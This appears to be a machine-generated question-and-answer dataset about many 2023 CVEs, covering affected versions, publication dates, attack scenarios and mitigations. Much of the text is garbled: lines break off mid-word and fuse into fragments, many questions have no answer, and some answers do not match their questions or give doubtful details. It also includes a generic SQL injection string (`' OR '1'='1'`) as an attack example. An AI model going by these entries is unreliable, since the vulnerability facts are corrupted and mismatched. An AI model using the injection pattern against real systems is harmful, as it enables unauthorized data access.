An attack scenario for CVE-2023-25838 could involve an authorized user of the system who crafts SQL queries to extract sensitive data.

Is there a base score assigned to CVE-2023-25838?

As of the information provided, there is no Base Score assigned to CVE-2023-25838.

What is CVE-2023-27877?

CVE-2023-27877 refers to a vulnerability in IBM Planning Analytics Cartridge for Cloud Pak.

How can it be exploited?

An attacker can exploit CVE-2023-27877 by taking advantage of the insecure password policy.

Has a security patch been released?

As of the latest available information, CVE-2023-27877 has not been assigned a base score.

When was CVE-2023-27877 published?

CVE-2023-27877 was published on 19 July 2023.

Where can more detailed information about CVE-2023-27877 be found?

More detailed information about CVE-2023-27877 can be found at the IBM X-Force Exchange report.

Can you describe a possible attack scenario for CVE-2023-27877?

In a possible attack scenario for CVE-2023-27877, an attacker would first identify the cartridge and then exploit the vulnerability to gain unauthorized access to sensitive data.

What could be the outcome of the exploitation?

The exploitation of CVE-2023-27877 could lead to unauthorized access to sensitive data stored in the cartridge.

What is CVE-2023-22052?

CVE-2023-22052 is a security vulnerability identified in the Java VM component of Oracle Database Server.

Which versions of Oracle Database Server are affected?

The affected versions of Oracle Database Server by CVE-2023-22052 are 19.3-19.19 and 21.3-21.10.

How severe is the vulnerability?

CVE-2023-22052 has a CVSS 3.1 Base Score of 4.9, with an impact on integrity. To exploit the vulnerability, an attacker would require low-level privileges that include both local and network access.

What kind of impact does it have?

If CVE-2023-22052 is successfully exploited, an attacker with authorized access could perform various actions on the database.

On what date was CVE-2023-22052 publicly disclosed?

CVE-2023-22052 was publicly disclosed on 18 July 2023.

Where can more information about CVE-2023-22052 be found?

More information about CVE-2023-22052 can be found in the Oracle security alert, which includes a detailed description of the vulnerability and mitigation steps.

Can you describe a potential attack scenario for CVE-2023-22052?

In a potential attack scenario for CVE-2023-22052, a hacker who has gained low-level privileges on the database server can exploit the vulnerability to execute arbitrary code.

What steps should be taken to mitigate the risk?

To mitigate CVE-2023-22052, it is recommended to apply the patches provided by Oracle in their security alert.

Is there an affected entity?

As a responsible entity, it is not appropriate to share or promote code that enables the exploitation of this vulnerability.

What is CVE-2023-22034?

CVE-2023-22034 is a security vulnerability identified in the Unified Audit component of Oracle Database Server.

Which Oracle Database Server versions are affected?

CVE-2023-22034 affects Oracle Database Server versions 19.3 to 19.19 and 21.3 to 21.10.

How severe is the vulnerability?

CVE-2023-22034 has a CVSS 3.1 Base Score of 4.9, with an impact on integrity. To exploit the vulnerability, an attacker would require low-level privileges that include both local and network access.

What kind of impact does it have?

If CVE-2023-22034 is successfully exploited, an attacker with authorized access could perform various actions on the database.

On what date was CVE-2023-22034 publicly disclosed?

CVE-2023-22034 was publicly disclosed on 18 July 2023.

Where can more information about CVE-2023-22034 be found?

More information about CVE-2023-22034 can be found on Oracle's official security alerts page.

Can you describe a possible attack scenario for CVE-2023-22034?

A possible attack scenario for CVE-2023-22034 might involve a malicious insider or a competitor who has gained low-level privileges on the database server.

What steps should be taken to mitigate the risk?

To mitigate CVE-2023-22034, Oracle Database administrators should apply the security patches provided in the alert.

What is CVE-2023-21949?

CVE-2023-21949 refers to a vulnerability in the Advanced Networking Option component of Oracle Database Server.

How severe is the vulnerability?

CVE-2023-21949 has a CVSS 3.1 Base Score of 3.7, which is considered low severity.

What is the CVSS Vector for CVE-2023-21949 is (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N)
When was CVE-2023-21949 published on the 18th of July, 2023.

Where can More information about CVE-2023-21949 can be found on Oracle's security alert page at h
Can you pr An example of an attack scenario for CVE-2023-21949 may involve a remote unauthentical
Is there a c As a responsible entity, we do not provide code examples for the exploitation of security v
What is CV CVE-2023-3743 is a vulnerability identified in the Ap Page Builder WordPress plugin, which
Which vers Versions of Ap Page Builder lower than 1.7.8.2 are affected by CVE-2023-3743.

How can ai An attacker can exploit CVE-2023-3743 by crafting a malicious SQL query and sending it to
Are there a Yes, there is a public reference available containing information on CVE-2023-3743. The ac
What are t If an attack exploiting CVE-2023-3743 is successful, the attacker could gain access to sensit
What is the The official published date for CVE-2023-3743 is 18 July 2023.

Is there a k As of now, there is no specific information provided regarding a fix or patch for CVE-2023-
Can you pr While the exact code may vary, an example of an SQL injection code that might be used in
What is the The CVE ID for the vulnerability found in the 3DPrint WordPress plugin is CVE-2022-4023.
Which vers The 3DPrint WordPress plugin versions before 3.5.6.9 are affected by the vulnerability refe
What kind CVE-2022-4023 in the 3DPrint WordPress plugin relates to a security threat where the plug
How can C CVE-2022-4023 can be exploited by an attacker who crafts a malicious request that causes
What is the The significance of the predictable location and name of the created archive in the context
When was CVE-2022-4023 published on 17 July 2023.

Can you pr Yes, more information on CVE-2022-4023 can be found in the following references:- Jetpac
What coul A potential attack scenario involving CVE-2022-4023 could be as follows: An attacker creat
What is CV CVE-2023-37472 is related to a security vulnerability in Knowage, which is an open source
How does ! The CVE-2023-37472 vulnerability manifests when the endpoint `/_knowage/restful-servic
Can an atta No, the exploitation of CVE-2023-37472 requires the attacker to be an authenticated user,
What kind An attacker exploiting CVE-2023-37472 could potentially retrieve sensitive information fro
What is the The recommended mitigation for CVE-2023-37472 is to upgrade to version 8.1.8 of Knowag
Are there a There are no known workarounds for CVE-2023-37472, making it important for users to up
Where can More information about CVE-2023-37472 can be found in the security advisory released by
What are s A possible attack scenario for CVE-2023-37472 includes an authenticated attacker crafting
When was CVE-2023-37472 published on 14 July 2023.

Could you | Although the exact code snippet causing CVE-2023-37472 is not provided, a typical exempl
What is CV CVE-2023-37468 refers to a security vulnerability found in Feedbacksystem, a personaliz
Which vers CVE-2023-37468 affects versions of Feedbacksystem prior to 1.19.2 that support LDAP logi
How was C The maintainers of Feedbacksystem addressed CVE-2023-37468 by patching the vulnerabi
What coul A potential attack scenario for CVE-2023-37468 would involve a malicious actor gaining un
Where can More information regarding the resolution of CVE-2023-37468 can be found via the provid
What is the The CVE ID of the vulnerability affecting Redis related to a heap overflow in the cJSON libra
Can you de The vulnerability described in CVE-2022-24834 refers to a heap overflow issue in the cJSON
What versi The heap overflow vulnerability identified by CVE-2022-24834 is addressed in Redis versio
When was The security issue CVE-2022-24834 was published on 13 July 2023.

Where can More information about the CVE-2022-24834 Redis vulnerability can be found at the follow
What are p Possible attack scenarios for CVE-2022-24834 in Redis involve an authenticated and autho
What is CV CVE-2023-29454 is a Common Vulnerabilities and Exposures identification for a security fla
What is the The impact of a stored XSS vulnerability, such as the one described by CVE-2023-29454, ca

How was CVE-2023-29454 was disclosed on 13 July 2023, and reference to this vulnerability can be found at [patchstack.com](https://patchstack.com/cve-2023-29454).
What are some attack scenarios for CVE-2023-29454? Attack scenarios for CVE-2023-29454 could include an attacker submitting a comment or update to a web application.
Could you provide an example of a web application that might be affected by this vulnerability?
What is CVE-2023-34133? CVE-2023-34133 is a security vulnerability identified as 'Improper Neutralization of Special Characters in an SQL Query Parameter'.
Which app is affected by CVE-2023-34133? CVE-2023-34133 affects SonicWall GMS versions 9.3.2-SP1 and earlier, as well as SonicWall TZ Series firewalls.
What is the impact of the SQL Injection vulnerability mentioned in CVE-2023-34133? The impact of the SQL Injection vulnerability mentioned in CVE-2023-34133 is that it allows an attacker to execute arbitrary SQL code.
Can you provide specific code examples related to CVE-2023-34133? While specific code examples related to CVE-2023-34133 may not be publicly available, a general example would be a query like: `SELECT * FROM users WHERE username = 'admin' OR '1'='1'`.
How would an attacker exploit CVE-2023-34133? An attacker would exploit CVE-2023-34133 by sending specially crafted SQL commands to the application.
Where can I find more information about CVE-2023-34133? For more information about CVE-2023-34133, you may refer to the following sources:- Patchstack, NIST CSDB.

What is the base score for CVE-2023-34133? As of the information provided, the base score for CVE-2023-34133 is not available (N/A).
When was CVE-2023-34133 published? CVE-2023-34133 was published on 13 July 2023.

What is the vulnerability in the WP EasyCart plugin for WordPress? The vulnerability in the WP EasyCart plugin for WordPress is identified as CVE-2023-3023.
What version of the WP EasyCart plugin is affected? CVE-2023-3023 affects the WP EasyCart plugin for WordPress in versions up to, and including 1.2.7.
What type of attack is possible? The vulnerability CVE-2023-3023 can be exploited for a Time-based SQL Injection attack.
What are the required permissions? An attacker must have authenticated access with administrator-level or above permissions.
On what date was CVE-2023-3023 published? CVE-2023-3023 was published on 12 July 2023.

Where can I find more information and a potential patch for CVE-2023-3023? More information and a potential patch for CVE-2023-3023 can be found via the provided link.
Can you explain the attack scenario for CVE-2023-3023? A possible attack scenario for CVE-2023-3023 involves a malicious administrator on a WordPress site using the WP EasyCart plugin to perform a time-based SQL injection attack.
What is the base score for CVE-2023-3023? As of the latest available information, the base score for CVE-2023-3023 is not applicable (N/A).
What is CVE-2023-34090? CVE-2023-34090 is a security vulnerability identified in Decidim, which is a participatory decision-making platform.
In which version was it patched? The CVE-2023-34090 vulnerability was patched in Decidim version 0.27.3.

What kind of attack is possible? Due to the CVE-2023-34090 vulnerability, an unauthenticated remote attacker could potentially gain administrative privileges.
Can you provide an attack scenario for CVE-2023-34090? An attack scenario for CVE-2023-34090 could involve an attacker crafting a series of intricate SQL queries to extract sensitive data from the database.
How was it discovered? The CVE-2023-34090 vulnerability details don't specifically mention how the issue was discovered.
What are the references? The references provided for more information on CVE-2023-34090 include the following URLs:
What is the publication date of CVE-2023-34090? CVE-2023-34090 was published on 11 July 2023.

What can happen if it remains unpatched? If left unpatched, the CVE-2023-34090 vulnerability could have serious consequences, including data theft and system compromise.
What is CVE-2023-36824? CVE-2023-36824 refers to a security vulnerability in Redis, an in-memory database that provides a fast data store.
What version of Redis is affected? Redis versions 7.0 prior to 7.0.12 are affected by the security vulnerability CVE-2023-36824.
What commands are associated with this vulnerability? The Redis commands associated with CVE-2023-36824 are 'COMMAND GETKEYS' and 'COI'.
How was it patched? CVE-2023-36824 was patched in Redis version 7.0.12. Users are advised to update their Redis installations.
What are the potential risks? An exploit targeting CVE-2023-36824 can potentially lead to reading of random heap memory.
Are there any known mitigations? Yes, details about CVE-2023-36824 can be found in the following references:- Redis's official documentation, Stack Overflow posts.
Can you give an example of how it might be exploited? CVE-2023-36824 might be exploited in scenarios where an authenticated user sends a specially crafted command to Redis.
Which users are most at risk? Authenticated users of Redis, particularly those with ACL rules that match certain key names.
Is there a base score available? As of the information available, there is no Base Score provided for CVE-2023-36824.

What was the publication date of CVE-2023-36824? CVE-2023-36824 was published on 11 July 2023.

What is the CVE ID of the vulnerability? The CVE ID of the vulnerability is CVE-2023-23997.

What type of vulnerability is CVE-2023-23997? CVE-2023-23997 is associated with a Cross-Site Request Forgery (CSRF) vulnerability.

Which version of the Dave Jesch Database Collation Fix plugin is affected? Versions 1.2.7 and below of the Dave Jesch Database Collation Fix plugin are affected by CVE-2023-23997.
When was CVE-2023-23997 published? CVE-2023-23997 was published on 11 July 2023.

Where can I find more information about CVE-2023-23997? More information about CVE-2023-23997 can be found at the URL: [patchstack.com](https://patchstack.com/cve-2023-23997).
What is an example attack scenario for CVE-2023-23997? An example attack scenario involving CVE-2023-23997 could be an attacker deceiving a user to log in to a compromised website.
How can it be mitigated? To mitigate the CSRF vulnerability described by CVE-2023-23997, the affected users should enable two-factor authentication and use a password manager.

What is the CVE ID for the SQL Injection vulnerability discovered in Piwigo software?

In which version was the SQL Injection vulnerability in Piwigo, identified as CVE-2023-37270, corrected?

What type of exploit is required to exploit the vulnerability described in CVE-2023-37270?

What is the impact of the SQL Injection vulnerability with ID CVE-2023-37270 in Piwigo?

Can you provide the patch for the SQL Injection issue identified in CVE-2023-37270?

What would be a mitigation strategy for those who cannot immediately upgrade to the fixed version?

Could you provide an attack scenario for CVE-2023-37270?

What is CVE-2023-36256?

How severe is the severity or Base Score of CVE-2023-36256?

When was CVE-2023-36256 published?

Where can further information about CVE-2023-36256 be found?

What might an attack scenario involving CVE-2023-36256 involve?

Can you provide a simplified example of a vulnerable code that could be exploited due to CVE-2023-36256?

What is CVE-2023-24497?

How can an attacker exploit CVE-2023-24497?

What might happen if an attacker exploits CVE-2023-24497?

Is there a known fix for CVE-2023-24497?

When was CVE-2023-24497 published?

Are there any detailed information about CVE-2023-24497?

What is Cross-Site Scripting (XSS)?

What is the risk of not addressing CVE-2023-24497?

What type of vulnerabilities is CVE-2023-24496 associated with?

Which product is affected by CVE-2023-24496?

How can an attacker exploit CVE-2023-24496?

What is the result of exploiting CVE-2023-24496?

Where can more information about CVE-2023-24496 be found?

When was CVE-2023-24496 published?

Can you provide a code example for exploiting CVE-2023-24496?

What are possible mitigation strategies for CVE-2023-24496?

What is CVE-2023-36968?

How severe is the severity of CVE-2023-36968?

When was CVE-2023-36968 published?

Where can more information about CVE-2023-36968 be found?

Can you provide an attack scenario utilizing CVE-2023-36968?

What are the potential consequences of exploiting CVE-2023-36968?

What is CVE-2023-36934?

Which versions of MOVEit Transfer are affected by CVE-2023-36934?

What is the Base Score for CVE-2023-36934?

When was CVE-2023-36934 published?

How can an attack exploiting CVE-2023-36934 take place?

What mitigation steps should administrators take to mitigate CVE-2023-36934?

Where can additional information on CVE-2023-36934 be found?

What is the CVE ID of the vulnerability associated with multiple SQL injection issues in MOVEit Transfer?

Which versions of MOVEit Transfer before the following service pack releases are impacted?

What are the potential consequences of an attacker exploiting the SQL injection vulnerabilities in CVE-2023-36932?

Could you explain the context of CVE-2023-36932?

How was the SQL injection vulnerability in CVE-2023-36932 mitigated?

On what date was CVE-2023-36932 published?

Where can more information and updates regarding CVE-2023-36932 be found?

What measures should administrators of MOVEit Transfer take?

Can you describe a possible attack scenario for the SQL injection vulnerability?

What type of vulnerability is CVE-2023-36812?

How can the CVE-2023-36812 vulnerability be exploited?

Has CVE-2023-36812 been patched?

What should users do if they are unable to upgrade OpenTSDB?

Where can advisories and patches related to CVE-2023-36812 be found?

What release includes a fix for CVE-2023-36812?

Can you provide an attack scenario for CVE-2023-36812?

When was CVE-2023-36812 first published?

What is CVE-2023-34834?

What type of vulnerability is CVE-2023-34834?

How can an attacker exploit CVE-2023-34834?

On which webserver does the CVE-2023-34834 vulnerability typically exist?

What is the impact of a Directory Browsing vulnerability like CVE-2023-34834?

Are there public references and exploits for CVE-2023-34834?

What is the base score for CVE-2023-34834?

When was CVE-2023-34834 first published?

What measures should administrators take to mitigate CVE-2023-34834?

What is CVE-2023-2032?

What type of vulnerability is CVE-2023-2032?

What are the SQL Injection vulnerabilities identified by CVE-2023-2032?

How can an attacker exploit the SQL Injection vulnerabilities?

What should users do to mitigate the security risks associated with CVE-2023-2032?

When was CVE-2023-2032 first published?

Where can more information about CVE-2023-2032 be found?

Can you provide an example of vulnerable code that could lead to an SQL Injection?

Could you explain an attack scenario for CVE-2023-2032?

What is CVE-2023-3132?

Which version of the MainWP Child plugin for WordPress is affected?

How does the vulnerability allow attackers to access sensitive data?

What action should users take to protect against the vulnerability?

Where can more information about CVE-2023-3132 be found?

Can you describe a possible attack scenario for CVE-2023-3132?

What is CVE-2023-35168?

Which versions of DataEase are affected?

What kind of sensitive information is at risk?

How can users mitigate the risk?

Are there any known workarounds?

What are p Potential attack scenarios for CVE-2023-35168 include an attacker exploiting the privilege | Where can More information about CVE-2023-35168 can be found in the security advisory published on 26 June 2023. What is CV CVE-2023-35930 is a vulnerability in the SpiceDB database system, a Google Zanzibar-inspi How does t CVE-2023-35930 affects SpiceDB by potentially causing `LookupResources` API calls in vers In which v€ CVE-2023-35930 was first reported in version 1.22.0 of SpiceDB.

What are t The potential consequences of CVE-2023-35930 in SpiceDB are incorrect authorization decisions. What actio Users of SpiceDB affected by CVE-2023-35930 should upgrade to version 1.22.2 as soon as possible. Where can Users can find more information and the patch for CVE-2023-35930 at the following resou What is the According to CVE-2023-35930, using `LookupResources` in SpiceDB for negative authorizat When was CVE-2023-35930 was published on the 26th of June, 2023.

What are p Possible attack scenarios associated with CVE-2023-35930 include an attacker exploiting the vulnerability. What is CV CVE-2023-3197 is a security vulnerability identified in the MStore API plugin for WordPress. How does t The vulnerability in CVE-2023-3197 occurs due to the plugin not properly escaping user-supplied input. What type CVE-2023-3197 allows for Unauthenticated Blind SQL Injection attacks. This means that ev What versi CVE-2023-3197 affects all versions of the MStore API plugin for WordPress up to, and includin What are s If CVE-2023-3197 is exploited, it could lead to a range of consequences including unauthorized access. When was CVE-2023-3197 was published on 24 June 2023.

Are there a Yes, further information on CVE-2023-3197 can be found at the following references:1. <https://gitlab.com/.../vulnerabilities/-/blob/main/CVE-2023-3197.md> As of the available data, CVE-2023-3197 has not been assigned a Base Score.

What is CV CVE-2023-36284 refers to a security vulnerability found in Webkul QloApps version 1.6.0. I How can ai An attacker can exploit CVE-2023-36284 by sending specially crafted GET requests with malicious payload. Can you pr Certainly. An attack exploiting CVE-2023-36284 might involve the attacker sending a GET request to What are t The consequences of an attack leveraging CVE-2023-36284 can be severe. If an attacker su What step To mitigate CVE-2023-36284, administrators of Webkul QloApps 1.6.0 should immediately update their software. Where can More information about CVE-2023-36284 can be found on the detailed report provided at <https://gitlab.com/.../vulnerabilities/-/blob/main/CVE-2023-36284.md>. What is CV CVE-2023-34110 refers to a security vulnerability found in the Flask-AppBuilder framework. Which Flas The CVE-2023-34110 vulnerability has been fixed in Flask-AppBuilder version 4.3.2.

Was there No, there was no Base Score assigned to CVE-2023-34110 at the time of its publication. What perr To exploit CVE-2023-34110, an attacker would need to have Admin privileges within the Flask-AppBuilder application. When was CVE-2023-34110 was published on 22 June 2023.

Can you pr Sure, references regarding CVE-2023-34110 can be found at the following URLs:- <https://gitlab.com/.../vulnerabilities/-/blob/main/CVE-2023-34110.md> Are there a A code example is not provided in the CVE details, but the vulnerability could be demonstrated through a proof-of-concept exploit code. What possi Possible attack scenarios from CVE-2023-34110 could include an attacker with Admin privileges gaining unauthorized access to the application. What does CVE-2023-2828 refers to a vulnerability in the cache-cleaning algorithm of the 'named' software component. Which vers The affected versions of BIND by CVE-2023-2828 include 9.11.0 through 9.16.41, 9.18.0 through 9.18.1. What is the The default cache size limit for a 'named' instance configured as a recursive resolver affects the performance of the system. Can you de When the size of the cache reaches 7/8 of the configured limit, the cache-cleaning algorithm triggers. Where can More information about CVE-2023-2828 can be found through several sources including the official BIND documentation and security advisories. What migh A possible attack scenario for exploiting CVE-2023-2828 might involve an attacker deliberately exceeding the configured cache size limit. What is the Exceeding the configured `max-cache-size` limit as a result of CVE-2023-2828 can have serious consequences for the system's performance. What is the CVE-2023-2828 was published on 21 June 2023.

What is the The CVE ID of the reported vulnerability affecting Devolutions Server is CVE-2023-2400.

What versi Devolutions Server version 2023.1.8 and earlier are impacted by CVE-2023-2400.

What is the CVE-2023-2400 describes an improper deletion of resource vulnerability in the user management module.

When was The CVE-2023-2400 vulnerability was published on 20 June 2023.

Are there a Yes, an official security advisory is available for CVE-2023-2400 at the following URL: <https://www.cisa.gov/uscert/cases/cve-2023-2400>:

Can you pr A potential attack scenario for CVE-2023-2400 involves an administrator with database acc

Has a base As of the provided information, a base score has not been assigned to CVE-2023-2400.

What is CV CVE-2023-35866 is a security vulnerability identified in KeePassXC up to version 2.7.5, whe

What kind CVE-2023-35866 represents a security issue that allows unauthorized modification of data

When was CVE-2023-35866 was published on 19 June 2023.

Where can More information about CVE-2023-35866 can be found through several references such as

What is t The vendor's position regarding the re-authentication requirement is that asking the user t

Could you i A possible attack scenario for CVE-2023-35866 would involve an attacker who has gained i

What is CV CVE-2023-27396 is a security vulnerability identified in multiple OMRON products that imp

Which OM The OMRON products affected by CVE-2023-27396 include SYSMAC CS-series CPU Units, S

What are t The two main security issues identified in CVE-2023-27396 are: (1) the use of plaintext com

On what d: CVE-2023-27396 was published on 19 June 2023.

Are there a Yes, more information about CVE-2023-27396 can be found through several references inc

What are t If an attacker successfully exploits CVE-2023-27396, they could intercept and read sensitiv

Is there a C No, there is no CVE Base Score provided for CVE-2023-27396 in the provided information.

What is CV CVE-2023-35708 is a vulnerability identified in the MOVEit Transfer web application. It is a

Which vers CVE-2023-35708 affects MOVEit Transfer versions prior to 2021.0.8 (13.0.8), 2021.1.6 (13.1

What can a By exploiting CVE-2023-35708, an unauthenticated attacker could submit a crafted SQL pa

How has t: The vulnerability described in CVE-2023-35708 has been addressed by releasing fixed versi

When was CVE-2023-35708 was published on 16 June 2023.

Where can More information about CVE-2023-35708 can be found through the following references:-

Describe a An attack scenario for CVE-2023-35708 could involve an attacker crafting a malicious SQL c

Are there a Yes, CVE-2023-35708 has been fixed in MOVEit Transfer DLL versions 2020.1.10 (12.1.10), :

What is CV CVE-2023-32754 refers to a security vulnerability in the Thinking Software Efence login fun

When was CVE-2023-32754 was published on 16th June 2023.

What type CVE-2023-32754 addresses a SQL Injection vulnerability.

Can you pr An example of an attack exploiting CVE-2023-32754 could involve an attacker sending a sp

Has a base No, as of the information given, there is no Base Score assigned to CVE-2023-32754.

Are there a Yes, further information on CVE-2023-32754 can be found at the following URL: <https://www.cisa.gov/uscert/cases/cve-2023-32754>:

What migh The consequences of an attack exploiting CVE-2023-32754 could include unauthorized view

What is CV CVE-2023-33243 refers to a security vulnerability that was identified by RedTeam Pentestin

What syste The system affected by CVE-2023-33243 is the STARFACE web interface and its REST API. S

When was CVE-2023-33243 was published on June 15, 2023.

Are there a Yes, more details about CVE-2023-33243 can be found on RedTeam Pentesting's advisories:

What can i The exploitation of CVE-2023-33243 could allow an attacker to bypass authentication mecl

What is t: The best practice that CVE-2023-33243 contradicts is the principle of not allowing authenti

How could An attacker could exploit CVE-2023-33243 by obtaining the SHA512 hash of a user's passw

How can C To mitigate CVE-2023-33243, STARFACE should update their authentication system to ensi

What is CV CVE-2023-2637 is related to a vulnerability in Rockwell Automation's FactoryTalk System S

How can C CVE-2023-2637 can lead to privilege escalation because a local, authenticated non-admin i

What actio By exploiting CVE-2023-2637, a threat actor could potentially generate an administrative c

Are there a Yes, user interaction is required for CVE-2023-2637 to be successfully exploited. An attack

On what date CVE-2023-2637 was published on 13 June 2023.

Where can More information and updates about CVE-2023-2637 can be found on the Rockwell Autom

Can you provide An example attack scenario involving CVE-2023-2637 could involve an insider threat. An ex

What is the The CVE ID of the vulnerability found in the Alaris Infusion Central software is CVE-2022-47

Which version The affected versions of the Alaris Infusion Central software by CVE-2022-47376 are versio

What is the The CVE-2022-47376 vulnerability in the Alaris Infusion Central software involves a recove

Is any patient No patient health data is stored in the database affected by CVE-2022-47376, although it is

When was The CVE-2022-47376 vulnerability was publicly disclosed on 13 June 2023.

Where can You can find more information about the CVE-2022-47376 vulnerability from the security t

Has a base As of the provided information, a 'Base Score' for the CVE-2022-47376 vulnerability was nc

What potential attack scenarios from CVE-2022-47376 could involve an unauthorized user levera

What is the The CVE ID of the vulnerability related to Dolibarr is CVE-2023-33568.

Which version Dolibarr version 16 before 16.0.5 is affected by CVE-2023-33568.

What type Due to the CVE-2023-33568 vulnerability, an unauthenticated attacker can perform a data

Has the CV Yes, the CVE-2023-33568 vulnerability has been addressed by Dolibarr and the fixes have b

Are there patches Yes, there are patches or commits that address the CVE-2023-33568 vulnerability. The fixe

How can users protect themselves from the CVE-2023-33568 vulnerability by updating their Do

What information The CVE-2023-33568 exploit could lead to the compromise of sensitive information such as

Can you describe An attack scenario for exploiting CVE-2023-33568 might involve an unauthenticated attack

What is the The identifier of the vulnerability is CVE-2023-25910.

Can you describe CVE-2023-25910 describes a vulnerability in the database management system used by SI

Which products affected by CVE-2023-25910 include all versions of SIMATIC PCS 7, SIMATIC S

Has CVE-2023-25910 As of the available information, CVE-2023-25910 has not been assigned a base score.

When was CVE-2023-25910 was published on 13 June 2023.

Are there patches Yes, further details on CVE-2023-25910 can be found in the Siemens Security Advisory at th

What type An attacker would need low-level privileges and network access to the server to exploit th

Could you provide A potential attack scenario for CVE-2023-25910 would involve an attacker who has gained

Are there patches As CVE-2023-25910 relates to the internal operation of a proprietary database manageme

What is CVE-2023-32115 CVE-2023-32115 is a security vulnerability that affects MDS COMPARE TOOL. It allows an a

What are the impacts The potential impacts of CVE-2023-32115 include the ability for an attacker to read and m

On what date CVE-2023-32115 was published on 13 June 2023.

What is the The base score for CVE-2023-32115 is currently not available (N/A).

Where can More information about CVE-2023-32115 can be found through the references provided, s

Can you describe A possible attack scenario for CVE-2023-32115 would involve an attacker crafting maliciou

Are there patches Due to the nature of the vulnerability in CVE-2023-32115, a code example would generally

Has the Base Score As of the available information, the Base Score for CVE-2023-32115 has not been assigned.

What is the The CVE ID for the vulnerability is CVE-2023-34468.

Which versions Apache NiFi versions 0.0.2 through 1.21.0 are affected by CVE-2023-34468.

What type The DBCPConnectionPool and HikariCPConnectionPool Controller Services in Apache NiFi a

What does CVE-2023-34468 allows an authenticated and authorized user to configure a Database URL

How was it resolved The resolution for the issue described in CVE-2023-34468 involves validating the Database

What is the The recommended mitigation for CVE-2023-34468 is to upgrade Apache NiFi to version 1.2

When was CVE-2023-34468 was published on 12 June 2023.

Where can More information about CVE-2023-34468 can be found on various references including Ap

Can you de A potential attack scenario for CVE-2023-34468 could involve an authenticated user who h
Does CVE-2 No, as per the provided information, a base score has not been assigned to CVE-2023-34468.
What is CV CVE-2023-35036 is a security vulnerability that was found in Progress MOVEit Transfer's w
How can C An attacker could exploit CVE-2023-35036 by sending a specifically crafted payload to an a
Which vers CVE-2023-35036 affects all versions of MOVEit Transfer prior to 2021.0.7 (13.0.7), 2021.1.5
When was CVE-2023-35036 was published on 12 June 2023.

Where can More information about CVE-2023-35036 can be found through the references provided, s
What are t An attack exploiting CVE-2023-35036 could lead to unauthorized access to the MOVEit Trai
Has a base As of the provided information, no base score has been assigned to CVE-2023-35036. Asse
What is CV CVE-2023-29767 refers to a security vulnerability found in CrossX version 1.15.3 for Androi
On which p CVE-2023-29767 affects CrossX on the Android platform.

What versi CVE-2023-29767 affects CrossX version 1.15.3.

What type Due to CVE-2023-29767, a local attacker can carry out a persistent denial of service (DoS) a
How can ai An attacker can exploit CVE-2023-29767 by manipulating the database files of CrossX, pote
When was CVE-2023-29767 was published on June 9, 2023.

What infor For CVE-2023-29767, the Base Score is not available, which means the severity of the vuln
Where can More details about CVE-2023-29767 can be found in the GitHub repository provided in the
What is the Impact of CVE-2023-29767 on the affected CrossX application includes the inability for the
Can you pr A potential attack scenario for CVE-2023-29767 could involve an attacker who has physical
What is the The CVE ID for the escalation of privileges vulnerability found in CrossX v.1.15.3 for Androi
What type An escalation of privileges vulnerability was discovered in CrossX v.1.15.3 for Android accc
Can you ex In the case of CVE-2023-29766, a local attacker could exploit the vulnerability by manipula
On what d: CVE-2023-29766 was publicly disclosed on 09 June 2023.

Is there a b As of the information provided, there is no Base Score available for CVE-2023-29766.

Where can Detailed information about CVE-2023-29766 can be found at the provided reference link: t
Could you | A possible attack scenario for CVE-2023-29766 could involve an attacker who has physical .
What is CV CVE-2023-29759 refers to a security issue identified in FlightAware version 5.8.0 for Andro
What type CVE-2023-29759 is associated with a denial of service vulnerability, which is due to unauth
Has a base As of the provided information, a base score has not been assigned to CVE-2023-29759.
When was CVE-2023-29759 was published on 09 June 2023.

Where can More details about CVE-2023-29759 can be found on the provided GitHub repository link a
Can you gi An attack scenario for CVE-2023-29759 could involve a malicious application that, once ins
Can you pr Since detailed technical information and code examples for CVE-2023-29759 are not provi
What can l To mitigate the risk of CVE-2023-29759, users should update FlightAware to the latest vers
What is CV CVE-2023-2455 is a security vulnerability identified in PostgreSQL that relates to the oversi
What is the The impact of CVE-2023-2455 on databases can be significant because it undermines the d
How does !CVE-2023-2455 becomes exploitable when a database has row security policies defined wi
Can you pr While an exact code example demonstrating CVE-2023-2455 could vary based on the speci
What are t Potential attack scenarios for CVE-2023-2455 involve an attacker leveraging the gap in the
What was !CVE-2023-2455 was published on 09 June 2023.

Where can More information about CVE-2023-2455 can be found through the following references:- R
What is the The CVE ID is CVE-2023-2454.

Can you de CVE-2023-2454 is a security vulnerability in PostgreSQL where it was discovered that certa
What is the The base score for CVE-2023-2454 has not been made available (N/A).

When was CVE-2023-2454 published on 09 June 2023.

Which org: References for CVE-2023-2454 have been provided by Red Hat, NetApp, and the PostgreSC

Where can You can find more information about CVE-2023-2454 on several websites, including the Re

What are p Possible attack scenarios for CVE-2023-2454 include an authenticated attacker with elevat

Are there a As CVE-2023-2454 is a security vulnerability, detailed code examples demonstrating the ex

What is the The CVE ID for the vulnerability is CVE-2023-34363.

Which pro The product affected by the CVE-2023-34363 vulnerability is Progress DataDirect Connect i

What issue The CVE-2023-34363 vulnerability addresses an issue where, if an error is encountered wh

When was The CVE-2023-34363 vulnerability was published on 09 June 2023.

Can you pr Yes, more information about CVE-2023-34363 can be found at the following URLs: - <https://>

How does t The CVE-2023-34363 vulnerability affects the encryption process by falling back to a less se

Under wha The CVE-2023-34363 vulnerability does not pose a risk if SSL/TLS encryption is utilized, as t

Can you de A possible attack scenario for CVE-2023-34363 involves a well-positioned attacker who car

What is CV CVE-2023-2607 refers to a security vulnerability in the Multiple Page Generator Plugin for

How sever The Base Score for CVE-2023-2607 is not available ('N/A'). However, this type of vulnerabil

Was a fix p As of the release of the information about CVE-2023-2607, a specific fix or security patch w

What are t To exploit CVE-2023-2607, an attacker must be authenticated and have administrative priv

Can you pr An attacker with administrative access could manipulate the 'orderby' or 'order' HTTP GET

What mea: To mitigate the risk of a CVE-2023-2607 attack, administrators should promptly update the

When was CVE-2023-2607 was published on 09 June 2023.

What infor The references for CVE-2023-2607 include a direct link to the source code for the Multiple

What is CV CVE-2023-2484 is a security vulnerability found in the Active Directory Integration plugin f

When was CVE-2023-2484 was published on 09 June 2023.

What type CVE-2023-2484 is classified as a time-based SQL Injection vulnerability.

What pern To exploit CVE-2023-2484, an attacker would need to be authenticated as an administrator o

How does t CVE-2023-2484 manifests through the 'orderby' and 'order' parameters in the Active Direct

What are t If CVE-2023-2484 is successfully exploited, attackers can inject and execute arbitrary SQL q

What mea: To mitigate CVE-2023-2484, administrators should immediately update the Active Director

